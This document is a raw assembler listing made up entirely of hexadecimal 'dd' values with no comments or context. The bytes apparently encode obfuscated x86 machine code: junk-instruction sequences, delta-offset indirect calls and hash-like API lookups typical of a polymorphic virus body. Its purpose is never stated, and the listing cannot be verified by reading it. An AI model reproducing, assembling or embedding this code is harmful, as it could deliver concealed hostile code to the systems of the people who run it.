dd 0D38BE640h, 35958950h, 6A05E932h, 50006A04h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 0CDD92991h
dd 14E89E90h
dd 49000000h, 0E80F7CA3h, 488595B2h, 0A0AA89CDh, 9F7AF4CAh
dd 802A5271h, 8B5A68E2h, 0E91ECD95h, 19858D05h, 0F05E91Dh
dd 382h, 0D2BF0F00h, 50006A50h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 0C100D504h, 0A58589ECh
dd 6A05E900h, 0AAEA8100h, 6A0D77D1h, 0F979BA00h, 0B966369Fh
dd 16AD1F0h, 0E2CBCA81h, 0B5FF567Dh, 5EC058Eh, 9509D08Bh
dd 5E90C8Dh, 271195FFh, 0E9F805E9h, 1B70h, 0AD8D8B60h
dd 8905E910h, 0E928F99Dh, 0BF666105h, 0C08B40EAh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0AFC35646h, 8B06B56Eh
dd 8381C545h, 0E9164DBDh, 9750005h, 1121BD83h, 740005E9h
dd 8B535019h, 7D2B8C0h, 85890000h, 5E923B9h, 0B8C49D8Dh
dd 0D3FF05EBh, 0BD83585Bh, 5E91121h, 50177400h, 7D2B853h
dd 85890000h, 5E923B9h, 0B5B39D8Dh, 0D3FF05EBh, 8166585Bh
dd 2336D2C9h, 0E9270995h, 0FC08B05h, 128Dh, 7E800h, 17760000h
dd 0F2F2E701h, 0AFE0B92Fh, 0E95A0FEEh, 0Eh, 0EA7D08E6h
dd 0E3ABF9B3h, 7577873Fh, 85C7997Ch, 5E901BDh, 1, 2F718D89h
dd 8D2905E9h, 5E92F01h, 0E4E7B868h, 0D5B5FFCEh, 8D05E921h
dd 0E939CF85h, 89D0FF05h, 0E9065185h, 0DBD46805h, 0B5FFC005h
dd 5E921D5h, 39CF858Dh, 0D0FF05E9h, 1D398589h, 858D05E9h
dd 5EBFA37h, 45B5FF50h, 0FF05E923h, 0E932C595h, 74C00B05h
dd 8DD88B0Bh, 0EC09EA85h, 0D3FF5005h, 9EA858Dh, 836605ECh
dd 0A750938h, 0E0985C7h, 105E9h, 95FF0000h, 5E922A1h, 0FF25h
dd 5F88300h, 85C70A73h, 5E92FB1h, 1, 890Fh, 0BD800000h
dd 5EC05F9h, 10850F00h, 66000000h, 0E971B5BAh, 1A00h, 8166CCB1h
dd 8379D7CFh, 0E90E09BDh, 850F0005h, 10Fh, 858D80B1h, 5EC05C3h
dd 2FDD958Bh, 6A5005E9h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 16FC357h, 0E91ECD9Dh
dd 0CE05B905h, 16A7B67h, 18E0Fh, 6AF90000h, 0EE800h, 0F1A50000h
dd 2324692Ah, 0E4105CFBh, 0D2F207E2h, 11E9h, 22429B00h
dd 3336BE0Fh, 0E0C819B7h, 91C8E0A0h, 6A5A75DAh, 0D0B70F00h
dd 21B995FFh, 0B96605E9h, 0BF0F99A6h, 0ED8589D1h, 6A05EC05h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 0CFEBC355h, 38E895B7h, 32047F1h, 0E910B58Dh
dd 6AFF6A05h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 5786C350h, 6890Fh, 958B0000h
dd 5E90D0Dh, 9E959h, 0B2DB0000h, 0B40CEEB6h, 0FF07453Dh
dd 0EC05EDB5h, 0EE805h, 45BC0000h, 0A2361FA0h, 0EB21C78Ah
dd 3B6E9D10h, 5AD3BF0Fh, 7C995FFh, 0ECBA05E9h, 8D1815BCh
dd 0EBF9FE85h, 51006A05h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1D04h, 0C3514100h, 5112A638h, 50F30C3Bh
dd 8950B2BCh, 0E90E6D95h, 6195FF05h, 8B05E92Bh, 0E9128D8Dh
dd 88858905h, 8B05EBFAh, 0B858DFBh, 6A05EBFAh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 457FC357h, 2C5F2E41h, 8961D8CAh, 0E905C5BDh, 0B5295005h
dd 5E9237Dh, 0FA88B5FFh, 6A05EBh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 463201C3h, 285D9D89h
dd 95FF05E9h, 5E932C5h, 85895A57h, 5E9255Dh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 5AC35242h, 7AF51282h
dd 5E9B6h, 8CC10000h, 66B111A3h, 8D9531BAh, 0EBFA7985h
dd 0B4F68005h, 88B5FF50h, 6A05EBFAh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 5164C357h
dd 141D9115h, 0F2816660h, 8D0308BDh, 5E916C9h, 0C595FF61h
dd 6A05E932h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 681C353h, 0E5482D9Fh, 0FEB70F62h
dd 12E9h, 0A8689E00h, 0F7BB63BDh, 550BAD96h, 4DEEF97Ch
dd 66A3132Eh, 33FED181h, 0FA9C8589h, 8B6605EBh, 58858DFBh
dd 5005EBFAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Dh, 4FC35646h, 0EC144BCFh, 0B9C89863h, 0FF89B689h
dd 0EBFA88B5h, 9E805h, 90B70000h, 0F6C7C938h, 956D950h
dd 0E930458Dh, 0B5895A05h, 5E92905h, 32C595FFh, 858905E9h
dd 5E917D5h, 0FA948589h, 0BD8B05EBh, 5E903A1h, 0FA4B858Dh
dd 0E96005EBh, 14h, 247733Fh, 39CB53AFh, 0AD90C09h, 0C7FA9F1Dh
dd 21179651h, 11E95061h, 7C000000h, 0C0E93CD6h, 7464844Fh
dd 54E783DDh, 96CCC83h, 0FA88B5FFh, 8D0905EBh, 5E906A5h
dd 32C595FFh, 0CA8B05E9h, 313D8529h, 858905E9h, 5EBFA98h
dd 1965E981h, 858D6712h, 5EBFA66h, 0FE8h, 0DC3E6200h, 0AAFA18B7h
dd 8A6316F3h, 0DDC5891Eh, 0BACEBA66h, 0D0B1505Ah, 0FA88B5FFh
dd 6A05EBh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 7AA76C3h, 0E2E2A1CAh, 0F835FA25h, 2F35B529h
dd 95FF05E9h, 5E932C5h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 17h, 0BBC35141h, 0F539721h, 8Ah, 25858900h
dd 8D05E927h, 0EBFA1A85h, 81666005h, 60AB7BE1h, 9E9h, 957EA500h
dd 31514899h, 95294364h, 5E902ADh, 0F506161h, 2781h, 0EE96000h
dd 81000000h, 523E80C3h, 97AE0821h, 0F5D0F9B6h, 0CE830h
dd 0CDC00000h, 0BDFDBB11h, 28764DA6h, 6158FED9h, 0FA88B5FFh
dd 958905EBh, 5E927ADh, 32C595FFh, 0A4BF05E9h, 0E82B7F52h
dd 0Ch, 0DC8D5C46h, 3AA4112Ch, 2B9CCBC8h, 0E16EB966h, 8C858959h
dd 8905EBFAh, 0E90E518Dh, 29858D05h, 8005EBFAh, 8950C0CAh
dd 0E905BD95h, 88B5FF05h, 105EBFAh, 0E90F51B5h, 0C595FF05h
dd 0E905E932h, 14h, 4F2CF271h, 2470FFB0h, 83D46D38h, 7429224Ch
dd 0B8FE20C0h, 0FA908589h, 6A05EBh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 1207C2C3h
dd 75E4E908h, 0BD8BDA4Bh, 5E91F01h, 10468h, 1DBD8B00h
dd 8D05E91Eh, 0EBFB2085h, 6D958905h, 5005E926h, 2E618D89h
dd 858D05E9h, 5EBFC24h, 31018D89h, 805005E9h, 95FFF8D1h
dd 5E90F89h, 0E853EB8Ah, 11h, 0AB05A1F7h, 0EE628A6Fh, 0F23E2000h
dd 0C17DE923h, 0BD8D2347h, 5A05E90Fh, 0FC0855Fh, 1285h
dd 7E900h, 3E10000h, 4051C91Ah, 34EF8155h, 80258471h, 0EC05F9BDh
dd 850F0005h, 4Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 0F7C35343h, 17BAE651h, 0E9432C01h, 1488h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 8CC35343h
dd 0C9040411h, 0D1BF0FABh, 0E09BD83h, 0F0005E9h, 3785h
dd 0DE800h, 98960000h, 0B11726C5h, 69FCA4A3h, 0F86BF2F6h
dd 0A3BD835Fh, 5EC0Ah, 46840Fh, 11E90000h, 0C1000000h
dd 32394290h, 187B9AEh, 14398CF7h, 7A7E30CAh, 0FABD858Dh
dd 840F05EBh, 0Bh, 6E9h, 8AB10C00h, 0E9BF03B4h, 1404h
dd 45BD8BF8h, 0E905E90Fh
dd 11h, 4DBD8Bh, 9EB205E9h, 0FAA8858Dh, 0BF0F05EBh, 858D50C9h
dd 5EBFB20h, 0D9858950h, 8305E915h, 0E90E09BDh, 840F0005h
dd 3Dh, 0CC58D33h, 858D05E9h, 5EBFC46h, 51958B52h, 5F05E90Eh
dd 2AE9h, 0B5B58900h, 6005E906h, 12E9h, 0F7AF2600h, 95621BDAh
dd 79F363F5h, 0D2514B3Ah, 66F9CDB8h, 4BA2E881h, 2F858D61h
dd 5005EBFCh, 146EBA66h, 0FC7E858Dh, 0B52905EBh, 5E906A5h
dd 53006A50h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 0BD8B6B07h, 5E90D3Dh, 628FD0B9h, 0A595FF7Eh
dd 8005E903h, 0C483D7EAh, 0FC08B10h, 0BD83D1B7h, 5E9164Dh
dd 83097500h, 0E91121BDh, 19740005h, 0C08B5350h, 7D3B8h
dd 0B9858900h, 8D05E923h, 0EBB8C49Dh, 5BD3FF05h, 21BD8358h
dd 5E911h, 53501774h, 7D3B8h, 0B9858900h, 8D05E923h, 0EBB5B39Dh
dd 5BD3FF05h, 0E9D38B58h, 5, 0DF217341h, 0C08BF577h, 0AC1BD89h
dd 0BD8105E9h, 5EBFAA8h, 6165726Fh, 0A4840Fh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 6A967AC3h, 20858DCFh, 5005EBFBh, 0FC5D858Dh, 8D5005EBh
dd 0EBFC7E85h, 95FF5005h, 5E903A5h, 0C60CC483h, 0E90EE585h
dd 4F684405h, 0FF96A318h, 0E92345B5h, 0CF858D05h, 0FF05E939h
dd 8DD88BD0h, 0EBFC7E85h, 0D3FF5005h, 0FAA8858Dh, 8D5005EBh
dd 0EBFB2085h, 0BD835005h, 5E90E09h, 8D087400h, 0EBFC4685h
dd 8D06EB05h, 0EBFC2F85h, 858D5005h, 5EBFC7Eh, 0A595FF50h
dd 8305E903h, 0D18110C4h, 73839F3h, 0AE18D29h, 95FF05E9h
dd 5E922A1h, 3135950Bh, 0FF2505E9h, 66000000h, 0F1E8CF81h
dd 0F05F883h, 4D83h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 0B5294AD8h, 5E92B35h
dd 1995E981h, 85C760A4h, 5E92FB1h, 1, 194D8D31h, 858D05E9h
dd 5EBFADCh, 0E9F88B66h, 3Bh, 30FD9589h, 0BD8305E9h, 5E90E09h
dd 20840F00h, 8B000000h, 0E928118Dh, 89BD8B05h, 8D05E902h
dd 0EBFB0785h, 49BD8B05h, 0E905E916h, 0Bh, 8DFEB70Fh, 0EBFAE985h
dd 8948B605h, 0EBFB1C85h, 0F8BF0F05h, 0E09BD83h, 0F0005E9h
dd 1385h, 0A3BD8300h, 5EC0Ah, 24840Fh, 8D8B0000h, 5E926B9h
dd 115BE9h, 14E900h, 3AF20000h, 0ABD8E416h, 0B3F897D0h
dd 73DF7D07h, 1EA544E7h, 0A6E90D32h, 80000004h, 0C08BB8C6h
dd 164DBD83h, 750005E9h, 21BD8309h, 5E911h, 53501974h
dd 0D4B8C08Bh, 89000007h, 0E923B985h, 0C49D8D05h, 0FF05EBB8h
dd 83585BD3h, 0E91121BDh, 17740005h, 0D4B85350h, 89000007h
dd 0E923B985h, 0B39D8D05h, 0FF05EBB5h, 8B585BD3h, 0E92639BDh
dd 0CDB58905h, 8B05E91Eh, 58D8BC0h, 105E912h, 0E90BE185h
dd 3F6805h, 870F000Fh, 3, 6ACBBF0Fh, 7B0BBA00h, 8D8B77A6h
dd 5E925A9h, 8B0F006Ah, 1Bh, 0DE860h, 0DE880000h, 8FECE0E4h
dd 17FC8A09h, 5ED79C37h, 820Fh, 89610000h, 0E92A25B5h
dd 5D95FF05h, 6A05E925h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 0AB88C350h, 31B58529h
dd 0C08505E9h, 0E850Fh, 66600000h, 890FF88Bh, 3, 616EC480h
dd 0FAA08589h, 6A05EBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 0F72CDAC3h, 4CB0E651h, 6A9EF9h
dd 2F459589h, 6A05E9h, 195D8D8Bh, 6A05E9h, 4D858960h, 6105E931h
dd 0FE8006Ah, 8C000000h, 4E977602h, 0E7E567E1h, 402C5D96h
dd 830FB1E6h, 6, 30BD8509h, 8B5F05E9h, 8B006AFAh, 0E9249995h
dd 7E858D05h, 6A05EBFCh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 26FFC353h, 23174449h
dd 0E905B195h, 0CF8B6605h, 55006A50h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 830FD70Bh
dd 1, 0A59D09F9h, 6A05E92Ah, 19D8901h, 6A05E917h, 0FE8B6601h
dd 6A016Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 0A47ED2C3h, 0B5BD8BA9h, 6805E921h, 0F01FFh
dd 9BD83FCh, 5E90Eh, 33840Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 8DF56CC3h
dd 0EBFAFD85h, 0A9958B05h, 0E905E925h, 0Eh, 0E3695FBFh
dd 0D3858D4Ch, 8005EBFAh, 6A50C6EAh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 7F6DC352h
dd 31E5EAB9h, 6890F3Eh, 29000000h, 0E9045D8Dh, 68A0F05h
dd 8B000000h, 0E92DD1BDh, 13E95005h, 3F000000h, 0DBB27E38h
dd 0EF9BE7D0h, 3D4E3B2Bh, 0C5EBEE7h, 0B5FF4384h, 5EBFAA0h
dd 11E8h, 1169100h, 4A0078F0h, 0E69B8086h, 5A3BD7AAh, 8B667FA8h
dd 95FF5FCFh, 5EBFA8Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 17h, 48C35545h, 8524122Bh, 13850FC0h, 8B000000h
dd 0E926718Dh, 0A9E905h, 0BD8B0000h, 5E927F1h, 8589F98Bh
dd 5EBFAA4h, 89958B60h, 6605E927h, 614F04B8h, 0FAA4B5FFh
dd 77BA05EBh, 0FF2A3E49h, 0E9272595h, 51006A05h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 0EADF9E0Ah, 6672709Dh, 561BAEDh, 12B677B2h, 850FC085h
dd 4Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh
dd 0F1C35545h, 126F0364h, 0E8CE0AE0h, 6, 40EA5856h, 11E9C1B4h
dd 0F2000000h, 0B0CE3709h, 1BF6D064h, 6DAEFE9Eh, 6EE7ADFAh
dd 0A18D8B5Ah, 6A05E91Fh, 0BD83F910h, 5E90E09h, 44840F00h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 0E5E4C352h, 0A5B3B06h, 0DA45FE77h
dd 858DCB8Bh, 5EBFAFDh, 1CE9C88Bh, 0E9000000h, 0Bh, 0A8B807C8h
dd 676B446Dh, 8D1D449Fh, 0EBFAD385h, 0E1858905h, 5005E926h
dd 1CC19D01h, 0B5FF05E9h, 5EBFAA0h, 74F6BF66h, 0FA9895FFh
dd 7E905EBh, 0AB000000h, 0E35EDF72h, 0C085CF00h, 0C850Fh
dd 0BD010000h, 5E91861h, 7D5B529h, 858905E9h, 5EBFAA4h
dd 1A98D8Bh, 0CB8B05E9h, 9D89006Ah, 5E90049h, 8166006Ah
dd 0FF7388CAh, 0EBFAA4B5h, 9E905h, 2F660000h, 0C0237BC6h
dd 0FF42D1B9h, 0EBFA9095h, 498D8B05h, 8505E917h, 3850FC0h
dd 0F000000h, 0B5FFD6BFh, 5EBFAA4h, 7670F181h, 95FF1E46h
dd 5E92725h, 0C850Fh, 8F0F0000h, 6, 2589B589h, 958B05E9h
dd 5E911F9h, 850FC085h, 5, 3ECA8166h, 66006A42h, 8068CE8Bh
dd 8B000000h, 0E92B998Dh, 0F036A05h, 1388h, 0EE900h, 6E5C0000h
dd 90BBAE24h, 8DA72BCh, 8D8F30A1h, 5E9006Ah, 45000000h
dd 8818D50Ch, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 0C21471C3h, 0D5C3C4E3h, 2908A3F5h
dd 0E9267DBDh, 6805h, 8D8BC000h, 5E917C1h, 0FB1CB5FFh
dd 0BF0F05EBh, 595FFCEh, 6A05E90Fh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 98ADC350h
dd 10E9B3E2h, 18000000h, 4A75DD9Eh, 8985BCF9h, 482400D2h
dd 83CA2E72h, 850FFFF8h, 4F1h, 613CC981h, 958B67EEh, 5E929F1h
dd 58A85FFh, 0CE8A05ECh, 58ABD83h, 0F0205ECh, 3DA84h, 8DF98B00h
dd 5AF59F85h, 0BFE18100h, 3438AC0h, 0E90E9D8Dh, 8BD0FF05h
dd 0E9267D95h, 0F2858D05h, 0FF005AEFh, 9DB589D0h, 8B05E92Fh
dd 890F60C0h, 2, 83615E57h, 0E9164DBDh, 9750005h, 1121BD83h
dd 740005E9h, 8B535019h, 7D8B8C0h, 85890000h, 5E923B9h
dd 0B8C49D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h, 50177400h
dd 7D8B853h, 85890000h, 5E923B9h, 0B5B39D8Dh, 0D3FF05EBh
dd 0BD8B585Bh, 5E91DB5h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 19h, 0FDC35242h, 92950135h, 218D8B2Dh, 8B05E90Bh
dd 0C8E0FC0h, 0F000000h, 682h, 0B58D8B00h, 6805E90Ah, 0F003Fh
dd 6A006Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 21C35242h, 0FECC70Fh, 95FFCBB7h, 5E9255Dh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 5FC35343h, 49FF7F9Ch
dd 93F4A973h, 90DAC781h, 8B6647BDh, 0CDBD8BD3h, 8505E932h
dd 14E9C0h, 96CD0000h, 2411AC9Bh, 0AF8D8CBh, 881DDDF6h
dd 56A7246Dh, 85899B36h, 5EBFAA0h, 5FFA8B56h, 0FF68A6B6h
dd 8B000F01h, 9BD83CEh, 5E90Eh, 19840Fh, 4B50000h, 0FAFD858Dh
dd 858905EBh, 5E90695h, 1BE9h, 1DBD2900h, 8D05E927h, 0EBFAD385h
dd 6890F05h, 89000000h, 0E90ADDBDh, 0C8BF0F05h, 0D7816650h
dd 0B5FFA776h, 5EBFAA0h, 95FFE1B2h, 5EBFA98h, 6858529h
dd 858905E9h, 5EBFAA4h, 0EB2F91BFh, 0B19D292Ch, 0C705E92Eh
dd 0E92FC585h, 5, 0E9BD8B00h, 8305E90Bh, 0EBFAA4BDh, 840F0005h
dd 1DCh, 68F0Fh, 0BD8B0000h, 5E92F09h, 0FD82858Dh, 6A05EBh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 9EB158C3h, 0A17877B4h, 508D1D00h, 8B0Fh, 16A0000h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 6CC35747h, 0F93C4667h
dd 0BA0E072Eh, 0B5FFF98Bh, 5EBFAA4h, 23759D09h, 95FF05E9h
dd 5EBFA9Ch, 0FFCAB70Fh, 0EBFAA4B5h, 1800F05h, 0F8000000h
dd 27659D31h, 95FF05E9h, 5E92725h, 2C0D9D01h, 0FF6805E9h
dd 6A000F01h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 7E7AC355h, 0E5B96C9Ch, 0BE9958Bh
dd 0BD8305E9h, 5E90E09h, 3A840F00h, 0BA000000h, 63042078h
dd 0FAFD858Dh, 6A05EBh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 982313C3h, 8589C88Ah, 5E90CD9h
dd 2AE9h, 0A6B96600h, 0D3858DA3h, 0E805EBFAh, 14h, 7ACE21E0h
dd 9DA59DD1h, 0CE3BAB11h, 7B4D3DECh, 0BBD635A0h, 19159529h
dd 505905E9h, 1155BD89h, 0B5FF05E9h, 5EBFAA0h, 2CF19D29h
dd 95FF05E9h, 5EBFA98h, 4AD9589h, 858905E9h, 5EBFAA4h
dd 18C8BF66h, 0FAA4B5FFh, 6A05EBh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 0EB6A2AC3h, 0B5893023h
dd 5E90799h, 1D61BD29h, 0FE805E9h, 44000000h, 4DDE831Eh
dd 38202A1Eh, 4EF10179h, 8957DF5Bh, 0E93269B5h, 0FF5A5905h
dd 0EBFA9495h, 0B1858905h, 0FF05E92Eh, 0EBFAA4B5h, 0BE905h
dd 193C0000h, 0B64ED257h, 7F73D7D2h, 95FFF50Ch, 5E92725h
dd 2880Fh, 0CA8B0000h, 0FFF6C9E9h, 51006AFFh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0F5E18CDFh
dd 0FF79B617h, 0EC05EDB5h, 958D8905h, 0FF05E910h, 0E90BC595h
dd 38F0F05h, 0F000000h, 9E9FABFh, 0F1000000h, 8BF3152Bh
dd 0D5ABFBB0h, 2DCD858Bh, 958B05E9h, 5E91D8Dh, 5A3E9h
dd 15BD8900h, 8D05E912h, 0EBFDA2B5h, 8D8D8B05h, 8105E924h
dd 0FBCCFCF1h, 97858D55h, 8A05EBAAh, 6AD0FFE8h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 0BDA0C352h, 113E312Bh, 28E18D89h, 2BBF05E9h, 6A593565h
dd 0F4D98000h, 176195FFh, 0BA6605E9h, 0F38B783Eh, 2AD8D01h
dd 858D05E9h, 5EBAA97h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 9AC35646h, 48E4C6DEh, 0B2B5B2h, 0FD0FFC4h
dd 683h, 9BD8B00h, 6A05E91Eh, 5E800h, 1D6C0000h, 0B90567C1h
dd 39048BF2h, 6195FF5Ah, 8B05E917h, 0E9054D8Dh, 0E9C08B05h
dd 0Bh, 4048D281h, 84194BE2h, 83C434FEh, 0E9164DBDh, 9750005h
dd 1121BD83h, 740005E9h, 8B535019h, 7D9B8C0h, 85890000h
dd 5E923B9h, 0B8C49D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h
dd 50177400h, 7D9B853h, 85890000h, 5E923B9h, 0B5B39D8Dh
dd 0D3FF05EBh, 0DBF585Bh, 6638D72Dh, 0B721EF81h, 6AC08Bh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 0A72F4DC3h, 5DB5893Bh, 5005E912h, 7EF78166h, 89D88B83h
dd 0E90BF985h, 9D8D5305h, 5E925D1h, 389038Bh, 8950438Bh
dd 9D8D5043h, 5EC0586h, 389038Bh, 6850F5Bh, 8B000000h
dd 0E93285BDh, 50006A05h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 8EBADCD3h, 0BD0B5E25h
dd 5E90521h, 6A29B5h, 8DF98B66h, 0EC058685h, 91BD8B05h
dd 0B105E903h, 6A50A7h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 0A520EDC3h, 6AD58AE2h, 52006A60h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 8D293CECh, 5E927ADh, 0FAE98060h, 28F0Fh, 48B70000h
dd 0D1858D61h, 6605E925h, 0D686E981h, 50006A50h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 0F5019556h, 8B006A37h, 6A006ACEh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 51E9C351h
dd 0D9CE181h, 0E95F07E9h, 6, 0D0037725h, 68261Fh, 8B000018h
dd 0E92CE98Dh, 6A5305h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 0C72541C3h, 73FEFD82h, 95FFB9D4h
dd 5E92711h, 0C2ACBF66h, 2DC595FFh, 6A05E9h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 745DEEC3h
dd 896D4714h, 0E902A585h, 0EDB5FF05h, 8105EC05h, 9B1A17C1h
dd 0C595FF17h, 8D05E90Bh, 0E925D185h, 18408B05h, 0C985C7F8h
dd 5E919h, 89000000h, 0E926EDBDh, 9BD8305h, 5E90Eh, 1A840Fh
dd 95B50000h, 8C3Dh, 0A3830F00h, 8B000001h, 0E910DDBDh
dd 12E905h, 0F78A0000h, 963Dh, 8B830F00h, 66000001h, 5E4EEA81h
dd 0F59F858Dh, 8D8B005Ah, 5E90785h, 0EE80D0FFh, 0F2858DB5h
dd 6A005AEFh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 2431C351h, 0E960876Bh, 13h, 0DEDF0BCh
dd 0D92B592h, 0F7972591h, 776A2ED2h, 0E9FD8B5Eh, 0Fh, 0E989AA78h
dd 89F373ABh, 0BF265D40h, 6146973Eh, 0D0FF8CB1h, 0E856006Ah
dd 3
dd 5EC35E20h, 4247489h, 4244481h, 14h, 0D7C35646h, 5B9BD29h
dd 665205E9h, 5907F5BAh, 0BD83C08Bh, 5E9164Dh, 83097500h
dd 0E91121BDh, 19740005h, 0C08B5350h, 0BC6B8h, 0B9858900h
dd 8D05E923h, 0EBB8C49Dh, 5BD3FF05h, 21BD8358h, 5E911h
dd 53501774h, 0BC6B8h, 0B9858900h, 8D05E923h, 0EBB5B39Dh
dd 5BD3FF05h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 958B57B6h, 5E913D1h, 0F4B9665Fh
dd 6AC08B0Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 0F48FC357h, 236D8D89h, 950305E9h
dd 5E92E6Dh, 0FFFF883h, 2D85h, 0FE8B6600h, 0FA585C7h, 5E9h
dd 0BD8B0000h, 5E902B1h, 0CFE9h, 8870F00h, 50000000h, 321BD8Bh
dd 0E95905E9h, 18h, 0F883D7B2h, 0D850F01h, 89000000h, 0E90EF18Dh
dd 0EEE905h, 0C88B0000h, 0FFF1B1E9h, 1E93B9FFh, 0C08B3241h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0EFC35343h
dd 84F0BD4Fh, 9AF3EE67h, 0FE988h, 0B90D0000h, 3CF005E4h
dd 1DF76863h, 0DE91846Ah, 4DBD83B3h, 5E916h, 0BD830975h
dd 5E91121h, 50197400h, 0B8C08B53h, 7DDh, 23B98589h, 9D8D05E9h
dd 5EBB8C4h, 585BD3FFh, 1121BD83h, 740005E9h, 0B8535017h
dd 7DDh, 23B98589h, 9D8D05E9h, 5EBB5B3h, 585BD3FFh, 0B650F88Bh
dd 0C08B5F6Bh, 252E9F9h, 8D8B0000h, 5E90B8Dh, 38A858Dh
dd 6A05ECh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
dd 57470000h, 9A277FC3h, 0E859DA80h, 8, 9F9D737Dh, 24C1087Ah
dd 8285895Ah, 6605EC05h, 0DE58DF81h, 67E9h, 0C88B6600h
dd 192858Dh, 6A05ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 9650EDC3h, 811672C0h, 0BF17A3F2h
dd 6DBD2917h, 4005E924h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 0BDC35343h, 51569831h, 0BD8BF7B7h, 5E90449h
dd 5828589h, 0D38B05ECh, 858D346Ah, 5E91175h, 82B5FF50h
dd 6A05EC05h, 0A595FF00h, 8305E91Dh, 840F07F8h, 162h, 0F6DB8C66h
dd 850F04C3h, 0FCh, 0EE585C6h, 685605E9h, 9CA8B852h, 2345B5FFh
dd 858D05E9h, 5E939CFh, 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h
dd 0EC05F585h, 0E585C605h, 4705E90Eh, 18AC9B68h, 45B5FFECh
dd 8D05E923h, 0E939CF85h, 0FFD0FF05h, 0C6F08BD0h, 0E90EE585h
dd 61684F05h, 0FFC62F26h, 0E921D5B5h, 0CF858D05h, 0FF05E939h
dd 0F19D8DD0h, 5305EC05h, 0FF56286Ah, 75C085D0h, 0E585C600h
dd 4105E90Eh, 87649868h, 0D5B5FFDBh, 8D05E921h, 0E939CF85h
dd 89D0FF05h, 0EC060E85h, 0E585C605h, 4C05E90Eh, 0A4E7A468h
